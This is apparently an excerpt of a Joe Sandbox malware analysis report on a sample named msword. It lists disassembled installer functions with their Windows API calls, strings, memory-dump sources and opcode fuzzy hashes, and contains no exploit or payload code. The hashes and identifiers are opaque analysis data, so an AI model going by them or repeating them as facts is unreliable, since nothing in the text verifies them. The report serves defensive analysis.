                                  • Source File: 0000000F.00000002.1999513934.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true
                                  • Associated: 0000000F.00000002.1999493364.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999531805.0000000000409000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000040C000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000434000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000046B000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999661181.0000000000500000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_400000_msword.jbxd
                                  Similarity
                                  • API ID: ClientDeleteImageItemLoadMessageObjectRectSend
                                  • String ID:
                                  • API String ID: 1849352358-0
                                  • Opcode ID: 06a5835b44d3b6ac96e348dee9128c473dfe3a95b4f6450d10307ae5d6bb1818
                                  • Instruction ID: 8f71947f799b2f64a69df86d2a8dcb393400c967cd863db52f2ee5b4f8782dab
                                  • Opcode Fuzzy Hash: 06a5835b44d3b6ac96e348dee9128c473dfe3a95b4f6450d10307ae5d6bb1818
                                  • Instruction Fuzzy Hash: 9DF012B2A00104BFE700EBA4EE89DEFBBBCEB04305B104575F502F6162C6759E418B28
                                  Function 00401F80 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON
                                  Download Yara Rule
                                  APIs
                                  • SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401FE6
                                  • SendMessageW.USER32(00000000,00000000,?,?), ref: 00401FFE
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1999513934.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true
                                  • Associated: 0000000F.00000002.1999493364.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999531805.0000000000409000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000040C000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000434000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000046B000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999661181.0000000000500000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_400000_msword.jbxd
                                  Similarity
                                  • API ID: MessageSend$Timeout
                                  • String ID: !
                                  • API String ID: 1777923405-2657877971
                                  • Opcode ID: e47ff439633ded3fb17ec5eecd0e1b6806a5c9fa211e2190a11df636c871b995
                                  • Instruction ID: 6a5c1514d43e21eed083d94b15ba6593763dc9af2b3e6337d8774d5f4809249f
                                  • Opcode Fuzzy Hash: e47ff439633ded3fb17ec5eecd0e1b6806a5c9fa211e2190a11df636c871b995
                                  • Instruction Fuzzy Hash: 56217171900209BADF15AFB4D886ABE7BB9EF04349F10413EF602F60E2D6794A40D758
                                  Function 004043D9 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 73stringCOMMON
                                  Download Yara Rule
                                  APIs
                                  • lstrlenW.KERNEL32(00451D98,%u.%u%s%s,?,00000000,00000000,?,FFFFFFDC,00000000,?,000000DF,00451D98,?), ref: 00404476
                                  • wsprintfW.USER32 ref: 00404483
                                  • SetDlgItemTextW.USER32(?,00451D98,000000DF), ref: 00404496
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1999513934.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true
                                  • Associated: 0000000F.00000002.1999493364.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999531805.0000000000409000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000040C000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000434000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000046B000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999661181.0000000000500000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_400000_msword.jbxd
                                  Similarity
                                  • API ID: ItemTextlstrlenwsprintf
                                  • String ID: %u.%u%s%s
                                  • API String ID: 3540041739-3551169577
                                  • Opcode ID: a810ffe09f2dc908503b2f58e47bd406bb4654f19e43ddd30bdf0acdc5011288
                                  • Instruction ID: 019992b557dc20c415266b5889428492ee6a52d86c3b4952972254649920ef77
                                  • Opcode Fuzzy Hash: a810ffe09f2dc908503b2f58e47bd406bb4654f19e43ddd30bdf0acdc5011288
                                  • Instruction Fuzzy Hash: DC11527270021477CF10AA699D45F9E765EEBC5334F10423BF519F31E1D6388A158259
                                  Function 004027E3 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60registryCOMMON
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00401553: RegOpenKeyExW.ADVAPI32(?,00000000,00000022,00000000,?,?), ref: 0040158B
                                  • RegCloseKey.ADVAPI32(00000000), ref: 0040282E
                                  • RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 0040280E
                                    • Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
                                    • Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3
                                  Strings
                                  • DeleteRegValue: "%s\%s" "%s", xrefs: 00402820
                                  • DeleteRegKey: "%s\%s", xrefs: 00402843
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1999513934.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true
                                  • Associated: 0000000F.00000002.1999493364.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999531805.0000000000409000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000040C000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000434000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000046B000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999661181.0000000000500000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_400000_msword.jbxd
                                  Similarity
                                  • API ID: CloseDeleteOpenValuelstrlenwvsprintf
                                  • String ID: DeleteRegKey: "%s\%s"$DeleteRegValue: "%s\%s" "%s"
                                  • API String ID: 1697273262-1764544995
                                  • Opcode ID: 1c7787f783619d22a727722e8428d119ca1e8f511c7c384e8364c1fbbf216132
                                  • Instruction ID: 70287f52249eeba914cab3bee2f8f529b2cd5257afac1a85b0186071c419a2a5
                                  • Opcode Fuzzy Hash: 1c7787f783619d22a727722e8428d119ca1e8f511c7c384e8364c1fbbf216132
                                  • Instruction Fuzzy Hash: 2511E732E00200ABDB10FFA5DD4AABE3A64EF40354F10403FF50AB61D2D6798E50C6AD
                                  Function 00402665 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 56stringCOMMON
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
                                    • Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3
                                    • Part of subcall function 00406301: FindFirstFileW.KERNELBASE(00461E18,00466A20,00461E18,004067FA,00461E18), ref: 0040630C
                                    • Part of subcall function 00406301: FindClose.KERNEL32(00000000), ref: 00406318
                                  • lstrlenW.KERNEL32 ref: 004026B4
                                  • lstrlenW.KERNEL32(00000000), ref: 004026C1
                                  • SHFileOperationW.SHELL32(?,?,?,00000000), ref: 004026EC
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1999513934.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true
                                  • Associated: 0000000F.00000002.1999493364.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999531805.0000000000409000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000040C000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000434000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000046B000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999661181.0000000000500000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_400000_msword.jbxd
                                  Similarity
                                  • API ID: lstrlen$FileFind$CloseFirstOperationwvsprintf
                                  • String ID: CopyFiles "%s"->"%s"
                                  • API String ID: 2577523808-3778932970
                                  • Opcode ID: 0c98d155eaf4bf30867e20e2ef9323f8e108a065a1149d83459e1735f252947f
                                  • Instruction ID: 7c1d43f40acf3f33c375e3424532232737b5c7d4dc38a4161669d523a66d0fcf
                                  • Opcode Fuzzy Hash: 0c98d155eaf4bf30867e20e2ef9323f8e108a065a1149d83459e1735f252947f
                                  • Instruction Fuzzy Hash: 8A114F71D00214AADB10FFF6984699FBBBCAF44354B10843BA502F72D2E67989418759
                                  Function 00406250 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 53stringCOMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1999513934.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true
                                  • Associated: 0000000F.00000002.1999493364.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999531805.0000000000409000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000040C000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000434000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000046B000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999661181.0000000000500000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_400000_msword.jbxd
                                  Similarity
                                  • API ID: lstrcatwsprintf
                                  • String ID: %02x%c$...
                                  • API String ID: 3065427908-1057055748
                                  • Opcode ID: e028bc25539a6ddd5d675d42839d030ce8218c39fe920002d96002040e934ce0
                                  • Instruction ID: 9bf571533c0fd83e5fe1ff618cfd19ea7d9613251e6e948213dceada22d50e27
                                  • Opcode Fuzzy Hash: e028bc25539a6ddd5d675d42839d030ce8218c39fe920002d96002040e934ce0
                                  • Instruction Fuzzy Hash: E201D272510219BFCB01DF98CC44A9EBBB9EF84714F20817AF806F3280D2799EA48794
                                  Function 00405073 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 41comCOMMON
                                  Download Yara Rule
                                  APIs
                                  • OleInitialize.OLE32(00000000), ref: 00405083
                                    • Part of subcall function 00403DDB: SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DED
                                  • OleUninitialize.OLE32(00000404,00000000), ref: 004050D1
                                    • Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
                                    • Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1999513934.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true
                                  • Associated: 0000000F.00000002.1999493364.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999531805.0000000000409000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000040C000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000434000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000046B000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999661181.0000000000500000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_400000_msword.jbxd
                                  Similarity
                                  • API ID: InitializeMessageSendUninitializelstrlenwvsprintf
                                  • String ID: Section: "%s"$Skipping section: "%s"
                                  • API String ID: 2266616436-4211696005
                                  • Opcode ID: 08831c163c79f6045eee3939d78ed76b32885a7039adc7eb93c092c170fa4538
                                  • Instruction ID: 3a4ae3dd184d198318ece42e1af7a5bc75ccdc2bd7a030bb5b2a43e0dda7b67b
                                  • Opcode Fuzzy Hash: 08831c163c79f6045eee3939d78ed76b32885a7039adc7eb93c092c170fa4538
                                  • Instruction Fuzzy Hash: 0EF0F433504300ABE7106766AC02B1A7BA0EF84724F25017FFA09721E2DB7928418EAD
                                  Function 004020F9 Relevance: 6.0, APIs: 4, Instructions: 45COMMON
                                  Download Yara Rule
                                  APIs
                                  • GetDC.USER32(?), ref: 00402100
                                  • GetDeviceCaps.GDI32(00000000), ref: 00402107
                                  • MulDiv.KERNEL32(00000000,00000000), ref: 00402117
                                    • Part of subcall function 00406831: GetVersion.KERNEL32(00445D80,?,00000000,00404FD5,00445D80,00000000,004283D1,74DF23A0,00000000), ref: 00406902
                                  • CreateFontIndirectW.GDI32(00420110), ref: 0040216A
                                    • Part of subcall function 00405F7D: wsprintfW.USER32 ref: 00405F8A
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1999513934.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true
                                  • Associated: 0000000F.00000002.1999493364.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999531805.0000000000409000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000040C000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000434000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000046B000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999661181.0000000000500000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_400000_msword.jbxd
                                  Similarity
                                  • API ID: CapsCreateDeviceFontIndirectVersionwsprintf
                                  • String ID:
                                  • API String ID: 1599320355-0
                                  • Opcode ID: 5e7bfe574d04e9302ce96a75028483347f8e754cab2f6e4722de83d8c32547a7
                                  • Instruction ID: 0ba792ce9c48b24537a9dfec97a4105c0a721b5be590283e64661935fd66df2d
                                  • Opcode Fuzzy Hash: 5e7bfe574d04e9302ce96a75028483347f8e754cab2f6e4722de83d8c32547a7
                                  • Instruction Fuzzy Hash: B6018872B042509FF7119BB4BC4ABAA7BE4A715315F504436F141F61E3CA7D4411C72D
                                  Function 00407224 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 43stringCOMMON
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00406EFE: CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00406F22
                                  • lstrcpynW.KERNEL32(?,?,00000009), ref: 00407265
                                  • lstrcmpW.KERNEL32(?,Version ), ref: 00407276
                                  • lstrcpynW.KERNEL32(?,?,?), ref: 0040728D
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1999513934.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true
                                  • Associated: 0000000F.00000002.1999493364.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999531805.0000000000409000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000040C000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000434000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000046B000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999661181.0000000000500000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_400000_msword.jbxd
                                  Similarity
                                  • API ID: lstrcpyn$CreateFilelstrcmp
                                  • String ID: Version
                                  • API String ID: 512980652-315105994
                                  • Opcode ID: e08784de301d9fe6ca80962c3bdf8726d1c794b972164068317a4e691a2db981
                                  • Instruction ID: f6016284c167eb8c93e4c4d2cd91337f160ffdcdaea293fd9af5b6974d265005
                                  • Opcode Fuzzy Hash: e08784de301d9fe6ca80962c3bdf8726d1c794b972164068317a4e691a2db981
                                  • Instruction Fuzzy Hash: 74F08172A0021CBBDF109BA5DD45EEA777CAB44700F000076F600F6191E2B5AE148BA1
                                  Function 004032D2 Relevance: 6.0, APIs: 4, Instructions: 33COMMON
                                  Download Yara Rule
                                  APIs
                                  • DestroyWindow.USER32(00000000,00000000,0040372F,00000001,?,?,?,00000000,00403A73,?), ref: 004032E5
                                  • GetTickCount.KERNEL32 ref: 00403303
                                  • CreateDialogParamW.USER32(0000006F,00000000,0040324C,00000000), ref: 00403320
                                  • ShowWindow.USER32(00000000,00000005,?,?,?,00000000,00403A73,?), ref: 0040332E
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1999513934.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true
                                  • Associated: 0000000F.00000002.1999493364.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999531805.0000000000409000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000040C000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000434000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000046B000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999661181.0000000000500000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_400000_msword.jbxd
                                  Similarity
                                  • API ID: Window$CountCreateDestroyDialogParamShowTick
                                  • String ID:
                                  • API String ID: 2102729457-0
                                  • Opcode ID: 20fc2252fa4e8cade60f22cfb8dff2eb59aca0eba7377cdae62c8c9885b14618
                                  • Instruction ID: 7080548a0c715e844c944b711630a30770084a0de0adb1936a850f0acfbe0ad2
                                  • Opcode Fuzzy Hash: 20fc2252fa4e8cade60f22cfb8dff2eb59aca0eba7377cdae62c8c9885b14618
                                  • Instruction Fuzzy Hash: 76F05E30541220BBC620AF24FD89AAF7F68B705B1274008BAF405B11A6C7384D92CFDC
                                  Function 00406391 Relevance: 6.0, APIs: 4, Instructions: 31memorylibraryloaderCOMMON
                                  Download Yara Rule
                                  APIs
                                  • GlobalAlloc.KERNEL32(00000040,00002004,00000000,?,?,00402449,?,?,?,00000008,00000001,000000F0), ref: 0040639C
                                  • WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00002004,00000000,00000000,?,?,00402449,?,?,?,00000008,00000001), ref: 004063B2
                                  • GetProcAddress.KERNEL32(?,00000000), ref: 004063C1
                                  • GlobalFree.KERNEL32(00000000), ref: 004063CA
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1999513934.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true
                                  • Associated: 0000000F.00000002.1999493364.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999531805.0000000000409000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000040C000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000434000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000046B000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999661181.0000000000500000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_400000_msword.jbxd
                                  Similarity
                                  • API ID: Global$AddressAllocByteCharFreeMultiProcWide
                                  • String ID:
                                  • API String ID: 2883127279-0
                                  • Opcode ID: cfe0beae58ad61bea83a9ac8add919dc7b7c61ebe1ef4fe2e37f024ea1666988
                                  • Instruction ID: 23858f5f5f858bd20c6f81bae205610dc5c3869b82bfcacec746ad73dc06cfd6
                                  • Opcode Fuzzy Hash: cfe0beae58ad61bea83a9ac8add919dc7b7c61ebe1ef4fe2e37f024ea1666988
                                  • Instruction Fuzzy Hash: 82E092313001117BF2101B269D8CD677EACDBCA7B2B05013AF645E11E1C6308C10C674
                                  Function 004048F8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58windowCOMMON
                                  Download Yara Rule
                                  APIs
                                  • IsWindowVisible.USER32(?), ref: 0040492E
                                  • CallWindowProcW.USER32(?,00000200,?,?), ref: 0040499C
                                    • Part of subcall function 00403DDB: SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DED
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1999513934.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true
                                  • Associated: 0000000F.00000002.1999493364.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999531805.0000000000409000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000040C000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000434000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000046B000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999661181.0000000000500000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_400000_msword.jbxd
                                  Similarity
                                  • API ID: Window$CallMessageProcSendVisible
                                  • String ID:
                                  • API String ID: 3748168415-3916222277
                                  • Opcode ID: c170883d227fca0112a12e156e2c8e9ea80fa6a38e1ecce58c6b14ca94f7736c
                                  • Instruction ID: 3c1fd1ddb59456d7d2ea24cd553691e7f5dd8d926ac1a383129e0726a186868e
                                  • Opcode Fuzzy Hash: c170883d227fca0112a12e156e2c8e9ea80fa6a38e1ecce58c6b14ca94f7736c
                                  • Instruction Fuzzy Hash: CE118FF1500209ABDF115F65DC44EAB776CAF84365F00803BFA04761A2C37D8D919FA9
                                  Function 00402797 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25stringCOMMON
                                  Download Yara Rule
                                  APIs
                                  • GetPrivateProfileStringW.KERNEL32(00000000,00000000,?,?,00002003,00000000), ref: 004027CD
                                  • lstrcmpW.KERNEL32(?,?,?,00002003,00000000,000000DD,00000012,00000001), ref: 004027D8
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1999513934.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true
                                  • Associated: 0000000F.00000002.1999493364.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999531805.0000000000409000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000040C000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000434000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000046B000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999661181.0000000000500000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_400000_msword.jbxd
                                  Similarity
                                  • API ID: PrivateProfileStringlstrcmp
                                  • String ID: !N~
                                  • API String ID: 623250636-529124213
                                  • Opcode ID: 07e0e1e700d966a463b53d73ca6f39700f71f89c173b529fa76a4fed3a8722df
                                  • Instruction ID: 1025b72e91f13a3121db677028adcce723ab2f3f19a12cbdb86f5280e69f3e4e
                                  • Opcode Fuzzy Hash: 07e0e1e700d966a463b53d73ca6f39700f71f89c173b529fa76a4fed3a8722df
                                  • Instruction Fuzzy Hash: 14E0C0716002086AEB01ABA1DD89DAE7BACAB45304F144426F601F71E3E6745D028714
                                  Function 00405C6B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON
                                  Download Yara Rule
                                  APIs
                                  • CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00461DD0,Error launching installer), ref: 00405C90
                                  • CloseHandle.KERNEL32(?), ref: 00405C9D
                                  Strings
                                  • Error launching installer, xrefs: 00405C74
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1999513934.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true
                                  • Associated: 0000000F.00000002.1999493364.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999531805.0000000000409000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000040C000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000434000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000046B000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999661181.0000000000500000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_400000_msword.jbxd
                                  Similarity
                                  • API ID: CloseCreateHandleProcess
                                  • String ID: Error launching installer
                                  • API String ID: 3712363035-66219284
                                  • Opcode ID: d7e07479a26add6e139fb42e4e519ed4ce81f94bdda572b5be1add7e8fe8fde5
                                  • Instruction ID: 058e85fc593d498414a6a643ff83d14e048665682532f700ab3f6144ed6d8858
                                  • Opcode Fuzzy Hash: d7e07479a26add6e139fb42e4e519ed4ce81f94bdda572b5be1add7e8fe8fde5
                                  • Instruction Fuzzy Hash: A4E0ECB0900209AFEB009F65DD09E7B7BBCEB00384F084426AD10E2161E778D8148B69
                                  Function 004062CF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13stringCOMMON
                                  Download Yara Rule
                                  APIs
                                  • lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
                                  • wvsprintfW.USER32(00000000,?,?), ref: 004062F3
